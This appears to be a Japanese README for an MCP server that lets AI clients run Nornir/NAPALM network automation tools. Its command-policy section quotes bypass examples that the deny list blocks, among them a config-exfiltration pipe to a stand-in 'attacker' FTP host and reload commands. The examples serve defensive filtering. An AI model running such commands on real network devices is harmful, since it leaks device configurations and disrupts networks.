🌐 Nornir MCP Server

🌐 Nornir MCP Server

公式の MCP Python SDK v2 の MCPServer クラスを基盤として構築され、Nornir と NAPALM を活用したネットワーク自動化ツールを提供する MCP サーバーです。

このサーバーはブリッジとして機能し、Nornir／NAPALM のネットワーク操作を MCP（Model Context Protocol）ツールとして公開することで、互換性のある MCP クライアントから簡単に利用できるようにします。

✨ 主な機能

• 並行処理とマルチベンダー対応：Nornir によるインベントリー管理と、NAPALM を使用したネットワークデバイスへの並行タスク実行を活用し、マルチベンダーに対応します。
• 拡張されたツールセット：幅広い NAPALM ゲッター（get_facts、get_interfaces）、実行コマンド（send_command、ping、traceroute）、インベントリー管理（list_all_hosts）など、20 種類以上のツールを提供します。
• 構造化された、トークン効率の高い出力：
  • send_command は、プラットフォームとコマンドに対応するテンプレートが存在する場合、生の CLI テキストではなく、ntc-templates で解析した構造化データ（辞書のリスト）を返します。LLM にとって読み取りコストを大幅に抑えられます。テンプレートがない場合は、自動的に生テキストにフォールバックします。この機能は、NAPALM ドライバーが Netmiko ベースのプラットフォーム（ios、nxos_ssh、iosxr など）にのみ適用されます。eAPI／NETCONF ベースのドライバー（eos、junos など）では常に生テキストが返されます。
  • send_command は SSH の出力フィルターパイプ（| include ...、| section ...、| begin ... など）にも対応しているため、出力がモデルに届く前にデバイス側で絞り込めます。詳細はコマンド実行とセキュリティポリシーを参照してください。
  • すべての NAPALM ゲッターツール（get_facts、get_interfaces など）は、MCP の structured_output=True を使用して Pydantic の戻り値モデルを宣言するため、クライアントは docstring だけではなく、実際の JSON Schema を取得できます。詳細はMCP プロトコルの機能を参照してください。
• 堅牢な入力検証：Pydantic モデルを使用して、ツールに渡されるすべてのデータを検証します。これにより、型安全性を確保し、無効な入力によるエラーを防ぎます。
• 安全なコマンド実行：send_command は設定可能なコマンドポリシー（conf/command_policy.yaml）で制御されます。許可リストに登録された読み取り専用の動詞（show、ping など）を最初に確認し、さらに拒否リスト（完全一致コマンド、キーワード、正規表現パターン）を適用することで、許可された動詞の後に紛れ込ませた危険なコマンドにも多層防御で対処します。
• コンテナー化され、高速：セットアップを簡単にするため Docker 🐳 でコンテナー化されており、コンテナー内の Python 依存関係の管理には、非常に高速な uv ⚡ を使用します。

🔧 前提条件

開始する前に、以下がインストールされていることを確認してください。

• Docker
• Docker Compose（通常は Docker Desktop に含まれています）

⚙️ 設定

サーバーを実行する前に、ネットワークインベントリーとデバイスの認証情報を必ず設定してください。

1. プロジェクト内の conf/ ディレクトリーに移動します。
2. hosts.yaml を編集します：管理 IP、プラットフォーム、認証情報、グループなど、ネットワークデバイスを定義します。
3. groups.yaml を編集します：共通のプロパティを持つデバイスグループを定義します。
4. defaults.yaml を編集します：デフォルトの認証情報と接続オプションを設定します。
   • ⚠️ セキュリティに関する重要な注意事項： 本番環境では、YAML ファイルに平文の認証情報を保存しないよう、Nornir のシークレット管理機能の利用を強く検討してください。
5. command_policy.yaml を確認します：セキュリティポリシーに合わせて、allowed_prefixes（send_command が受け付ける読み取り専用の動詞）と拒否リストの項目（ブロックするコマンド／パターン）をカスタマイズします。2 つのレイヤーの連携については、コマンド実行とセキュリティポリシーを参照してください。

ジャンプホスト／踏み台を経由したデバイスへの接続

Linux/macOS ではコードの変更は不要です。NAPALM の SSH ベースのドライバー（ios、nxos_ssh、iosxr など）は内部で Netmiko をラップしており、Netmiko は標準的な OpenSSH 設定ファイルの ProxyJump／ProxyCommand ディレクティブにネイティブで対応しています。設定ファイルを指定すれば、ジャンプホスト経由でデバイス接続が自動的にトンネリングされます。

1. conf/ssh_config.example を conf/ssh_config にコピーします（gitignore の対象です。内部ホスト名やプロキシのトポロジーが明らかになる可能性があります）。実際に使用するジャンプホストを設定してください。
2. defaults.yaml（または特定の groups.yaml／hosts.yaml エントリー）で設定ファイルを指定します。

   connection_options:
     napalm:
       extras:
         optional_args:
           ssh_config_file: conf/ssh_config
   

Netmiko の ProxyJump 対応はシングルホップのみです（カンマ区切りのマルチホップチェーンを指定するとエラーになります）。実際のマルチホップ経路には、代わりに ssh -J hop1,hop2 -W %h:%p ... を使った ProxyCommand を使用してください。conf/ssh_config.example にある 2 つの例を参照してください。

ジャンプホスト自体の SSH キーや known_hosts は、このサーバーが実際に動作するマシン上で設定する必要があります。これは OS レベルの SSH 設定であり、このプロジェクトが管理するものではありません。

⚠️ 既知の制限事項 — Windows ネイティブ環境で直接実行する場合： このサーバーを Windows ネイティブの Python インタープリターで直接実行すると、ssh_config_file に基づくジャンプホストは動作しません（サポート対象の本番環境であり、この問題の影響を受けない Linux ベースの Docker イメージ内で実行する場合は該当しません）。実際のデバイスを使って検証し、問題の原因を推測で回避するのではなく、関係する 2 つのライブラリまで特定しました。

1. Netmiko の _use_ssh_config() は os.path.abspath() を使って ssh_config のパスを解決します。Windows では、設定でパスをどのように記述しても、常にバックスラッシュ区切りのパスが返されます（例：C:\Users\me\nornir_mcp\conf\ssh_config）。
2. このパスは ProxyCommand 文字列（ssh -F <path> -W host:port hop）に埋め込まれます。次に Paramiko の ProxyCommand が POSIX モードの shlex.split() で解析します。このモードでは \ がエスケープ文字のため、バックスラッシュがすべて黙って削除されます（C:\Users\me\...\ssh_config → C:Usersme...sshconfig）。その結果、存在しないパスが生成され、接続に失敗します。

この問題は必ず発生します。abspath() と shlex.split() は入力にかかわらずこのように動作するため、conf/ssh_config や hosts.yaml を変更しても回避できません。Windows ネイティブ環境からジャンプホスト経由の接続をテストする必要がある場合の回避策（Docker 経由でデプロイする場合は不要です）：

• 手動で SSH ローカルポートフォワードを設定し（ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>）、ssh_config_file は一切使わず、hosts.yaml で 127.0.0.1:<local_port> を直接指定します。
• または、ローカル開発時もサーバーを Docker／WSL2 内で実行します。パスが POSIX 形式になるため、この問題は発生しません。

▶️ サーバーの実行

設定が完了したら、Docker Compose を使って簡単にサーバーを実行できます。

docker-compose up --build -d

このコマンドは、ホストマシンのポート 8000 でアクセスできる Nornir MCP サーバーを Docker コンテナ内で起動します。コンテナは現在、開発モードと本番モードの両方に対応する run.py をエントリーポイントとして使用します。

Docker を使わずにサーバーをローカルで実行するには、次を使用します。

python run.py --dev

または、単に次を実行します。

python run.py

デフォルトでは、サーバーは 127.0.0.1:8000 で起動します。他のマシンからアクセスできるようにする必要がある場合は、--host 0.0.0.0 を明示的に指定してください（このサーバーは実際のデバイスに設定をプッシュしたりコマンドを実行したりできるため、デフォルトではすべてのインターフェースでリッスンしません）。

🔌 MCP クライアントの接続方法

このプロジェクトは、streamable-http トランスポートを使用して、HTTP 経由で MCP サーバーを公開します。エンドポイントは 1 つです。

• HTTP API エンドポイント： http://:/mcp

トランスポートとクライアントの設定に関する注意事項：

• MCP サーバー自体は、Uvicorn が配信する HTTP アプリケーション（Starlette）です。streamable-http トランスポートに対応したクライアントを使って、MCP クライアントを /mcp に直接接続してください。
• 個別の /sse エンドポイントはありません。streamable-http は単一のエンドポイントで、内部でサーバー送信イベントのストリーミングに対応しているため、2 つ目の SSE パスは必要なく、公開もされません。
• 通常の HTTP クライアントでは、このプロジェクトを stdio モードで実行する必要はありません。以前記載されていた、サーバーを「stdio モード」で実行して Supergateway でプロキシする手順は、このリポジトリの通常の使用方法としては正確ではありませんでした。

MCP クライアントの JSON 設定例（HTTP/streamable-http）：

{
  "name": "Nornir MCP (HTTP)",
  "url": "http://localhost:8000/mcp",
  "transport": "http"
}

🔒 コマンド実行とセキュリティポリシー

send_command は、オペレーターが指定した任意のテキストをデバイスに送信する唯一のツールであるため、conf/command_policy.yaml によって制限されています。これは、許可リストを優先する 2 層モデルです（拒否リストのみだった旧 conf/blacklist.yaml に代わるものです）。

1. allowed_prefixes（許可リスト。最初に確認される、実際のセキュリティ境界）：コマンドは、これらの動詞（デフォルトでは show、display、get、ping、traceroute）のいずれかで始まる必要があります。そうでない場合、ファイル内の他の設定にかかわらず、ただちに拒否されます。これを空にすると許可リストによる制限が無効になり、拒否リストのみの適用に切り替わりますが、推奨されません。
2. exact_commands / keywords / disallowed_patterns / regex_patterns（拒否リスト。2 番目に確認される、多層防御）：許可された動詞で始まっていても、その後に危険な内容が紛れ込んだコマンドを検出します。拒否リストだけでは、決してすべてを網羅できません。このサーバーのセキュリティ強化中に見つかり、修正された実際の抜け穴は次のとおりです。
   • reload in 5 / reload at 02:00 が、reload の完全一致のみのエントリをすり抜けていました。keywords を使って reload を単語全体として照合するよう修正しました。
   • copy run start（IOS の一般的な省略形）が、キーワード copy running-config startup-config の完全一致をすり抜けていました。正規表現パターン copy\s+run\S*\s+start\S* で修正しました。
   • show running-config | redirect ftp://attacker/dump.txt は、許可された動詞 show で始まるため、許可リストだけでは阻止できません。出力先キーワード（redirect、tee、append、save）をブロックしつつ、| include、| section、| begin のような通常の出力フィルタリング用パイプは許可するよう修正しました。

上記のすべてについて、ユニットテストだけでなく、実際のデバイスに対して稼働中の許可リスト／拒否リストのロジックを実行し、コードを読むだけではなく検証しています。

出力フィルタリング用パイプ

send_command は SSH のパイプ構文をそのままデバイスに渡します（例：show interfaces | include up）。そのため、返されるペイロードではなくデバイス上でフィルタリングが行われ、完全な running-config などの大きな出力ではトークン使用量を大幅に削減できます。上記のポリシーでブロックされるのは、出力を書き込む／外部へ持ち出す宛先指定形式のパイプのみであり、フィルタリング用パイプには影響しません。

🧩 MCP プロトコルの機能（v2 SDK）

このサーバーは、mcp[cli]==1.15.0 の FastMCP から mcp[cli]>=2.1.1 の MCPServer に移行し、v2 のみで利用できるいくつかの仕組みを活用しています。

• ツールのアノテーション（mcp.types.ToolAnnotations）：すべてのツールで read_only_hint ／ destructive_hint ／ idempotent_hint ／ open_world_hint を宣言しているため、クライアントやオーケストレーションを担うエージェントは、docstring を確認するだけでなく、プロトコルレベルで確認を挟まずに安全に呼び出せるツールを判別できます。デバイスを操作するツール（get_facts、send_command など）は、事前に状態を完全には把握できない実際の外部デバイスに問い合わせるため、open_world_hint=True に設定しています。ローカルのみで動作するツール（list_all_hosts、validate_params）は、open_world_hint=False に設定しています。
• 構造化ツール出力（@mcp.tool(structured_output=True)）：すべての NAPALM getter ツールは、単なる dict ではなく、Pydantic モデル（DeviceTaskResult、TracerouteResultModel）を返します。そのため、MCP はクライアント向けの JSON 出力スキーマを自動生成し、実際の戻り値を実行時にそのスキーマに照らして厳密に検証します（形状を文書化するだけでなく、一致しない場合はエラーを発生させます）。send_command と list_all_hosts では、意図的にこの機能を使用していません。戻り値の形状が実際に変化するためです（ntc-templates との一致時と生テキストの場合、成功時と形状の異なるエラー dict の場合）。MCP v2 の厳密な実行時検証では、正当な形状の変化も拒否されます。
• キャッシュヒント（mcp.server.caching.CacheHint）：tools/list、resources/list、resources/templates/list、prompts/list、server/discover は、登録済みのツール／リソース／プロンプトのセットが再デプロイ時にのみ変更されるため、公開情報として5分間キャッシュ可能であることを示しています。resources/read には、代わりに有効期間が30秒のヒントを設定しています。これは、サーバーの実行中に conf/ 内の YAML を編集すると、リソースの内容（インベントリ、トポロジー）が変わる可能性があるためです。
• リソースのセキュリティ（ファイルを参照するリソースではデフォルトで有効）：リソース URI の解決時に、パストラバーサル、絶対パス、ヌルバイトは自動的に拒否されます。SDK のデフォルトを推測で信頼するのではなく、実際に検証しています。
• 未使用 — MCP ロギング機能（Context.info()／.warning()）：このサーバーでは、MCP の Context ベースのプロトコルロギングではなく、標準の logging モジュールを使ってローカルにログを記録します。この MCP 機能は、2026-07-28 の仕様改訂（SEP-2577、OpenTelemetry に置き換え）で非推奨になりました。開発中に試した際、実行時に実際に MCPDeprecationWarning が発生することを確認しています。非推奨 API の背後に残すのではなく、削除しました。
• 未使用 — 進捗報告／リソース更新通知：評価したうえで、意図的に採用していません。このサーバーの各ツールは、1回の同期 Nornir タスク実行で1台のデバイスを操作します（複数コマンドを扱う send_command も含みます。非同期レイヤーの呼び出しをループするのではなく、1つのタスク内で処理されます）。そのため、Nornir の「接続ごとに1タスク」というモデルを崩さずに進捗を報告できる自然な中間点がありません。send_command をコマンドごとの非同期レイヤー呼び出しに分割すると、接続を再利用する代わりにコマンドごとに新しい SSH 接続を確立することになり、このサーバーで一般的な「単一デバイスに対する少数コマンド」という利用では適用されないトークン／UX上の利点のために、実際のパフォーマンス低下を招きます。

🧠 プロンプト（カスタムプロンプト関数）

このサーバーでは、メッセージのリスト（MCP プロンプト形式）を返すカスタムプロンプト関数を登録できます。プロンプトを使うと、MCP クライアントや LLM 駆動のエージェントが名前付きプロンプトとして呼び出せる会話入力を事前に定義できます。MCP Python SDK の MCPServer クラスには、関数を登録するための @server.prompt() デコレーターが用意されています。

主な機能：

• @server.prompt() を使って、同期または非同期のプロンプト関数を登録できます。
• 必要に応じて name、title、description を指定し、MCP クライアントからプロンプトを見つけやすくできます。
• リソース参照を含む構造化メッセージを返せます（ファイルの内容やインベントリの抜粋を返す場合に便利です）。

プロンプトの追加方法（例）：

@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
    hosts = nr_mgr.list_hosts()
    return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]

リソースを使った非同期の例：

@server.prompt()
async def show_topology() -> list:
    topo = await server.read_resource("resource://topology")
    return [{"role": "user", "content": {"type": "resource", "resource": topo}}]

使用上の注意：

• プロンプトを登録すると、クライアントは MCP の ListPrompts リクエストでプロンプトを検出し、名前で呼び出せます。
• プロンプト関数は軽量かつ決定的に保ち、長時間実行される処理をプロンプト内で行わないでください。デバイスからデータを収集する必要がある場合は、ツールを登録してプロンプトから呼び出すか、クライアントが取得できる短いリソース参照を返すことを検討してください。

セキュリティ：

• プロンプトはサーバープロセス内で実行されます。プロンプト関数内では、安全でないファイル操作や信頼できないコードの実行を行わないでください。

📦 手動／ローカルインストール

クイックスタート — Docker（推奨）

1. docker-compose でビルドして実行します（リポジトリのルートから実行）：

docker-compose up --build -d

これにより、コンテナー内でサーバーが起動し、デフォルトでポート 8000 が公開されます。

クイックスタート — ローカル

1. 仮想環境を作成して有効化します。

& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate

2. 実行時の依存関係をインストールします（例）：

pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"

3. サーバーをローカルで実行します（デフォルトでは 127.0.0.1:8000 にバインドします。コンテナー用、または他のマシンに公開する場合は --host 0.0.0.0 を渡します）：

python run.py

または、uv を使う場合（付属のランナーを使う場合に推奨）：

uv run .\run.py

ホストやポートを変更するには、run.py の実行時に --host と --port フラグを指定してください。

📚 サーバーが提供するリソース

• resource://inventory/hosts — サニタイズされたフィールド（name、hostname、platform、groups、data）を含むホストの JSON 配列を返します。username、password、secret などの機密キーは削除されます。
• resource://inventory/hosts/{keyword} — name、hostname、platform、グループ名、またはデータ値に一致するキーワードで絞り込んだ、同じ形式の出力を返します（一致判定では大文字と小文字を区別しません）。
• resource://inventory/groups — グループのマッピングを返します（サニタイズ済み）。
• resource://topology — resources/topology.json を解析したものです。
• resource://cisco_ios_commands — resources/cisco_ios_commands.json を解析したものです。

独自のリソースを追加する方法

1. resources.py を編集し、resource_<name> という名前の関数を追加します（例：resource_my_tools）。
2. 関数で Nornir マネージャーが必要な場合は、nr_mgr という名前の単一のパラメーターを受け取るようにします。
3. カスタム URI を使う場合は RESOURCE_MAP にエントリーを追加します。追加しない場合は、デフォルト URI resource://user/<name> が使われます。

resources.py のコード例

def resource_my_static():
  return {"hello": "world"}

def resource_my_hosts(nr_mgr):
  # returns a JSON-serializable list of hosts
  return nr_mgr.list_hosts()

🔐 セキュリティに関する注意事項

• インベントリの YAML ファイルには認証情報が含まれている場合があります。本番環境では、平文の YAML よりもシークレット管理（Vault、環境変数、または Nornir のシークレットプラグイン）を優先してください。
• サーバーは、resource://inventory/* 経由で提供されるリソースから、一般的な機密キー（username、password、secret）を除去します。
• send_command は conf/command_policy.yaml によって制限されています。詳しくは、上記のコマンド実行とセキュリティポリシーを参照してください。
• サーバーはデフォルトで 0.0.0.0 ではなく 127.0.0.1 にバインドします。このサーバーは実際のデバイスに設定をプッシュしたり、コマンドを実行したりできるため、すべてのインターフェースで待ち受ける設定にはなっていません。他のマシンからアクセス可能にする必要がある場合（例：Docker 内）は、明示的に --host 0.0.0.0 を渡してください。
• conf/ssh_config（実際の踏み台ホスト設定）は、内部ホスト名やプロキシのトポロジーが漏れる可能性があるため、gitignore に登録されています。コミットされているのは conf/ssh_config.example のみです。

コントリビューション

• 変更を提案する場合は、issue または PR を作成してください。変更は小規模に保ち、適切な場合はテストを含めてください。

ライセンス

• MIT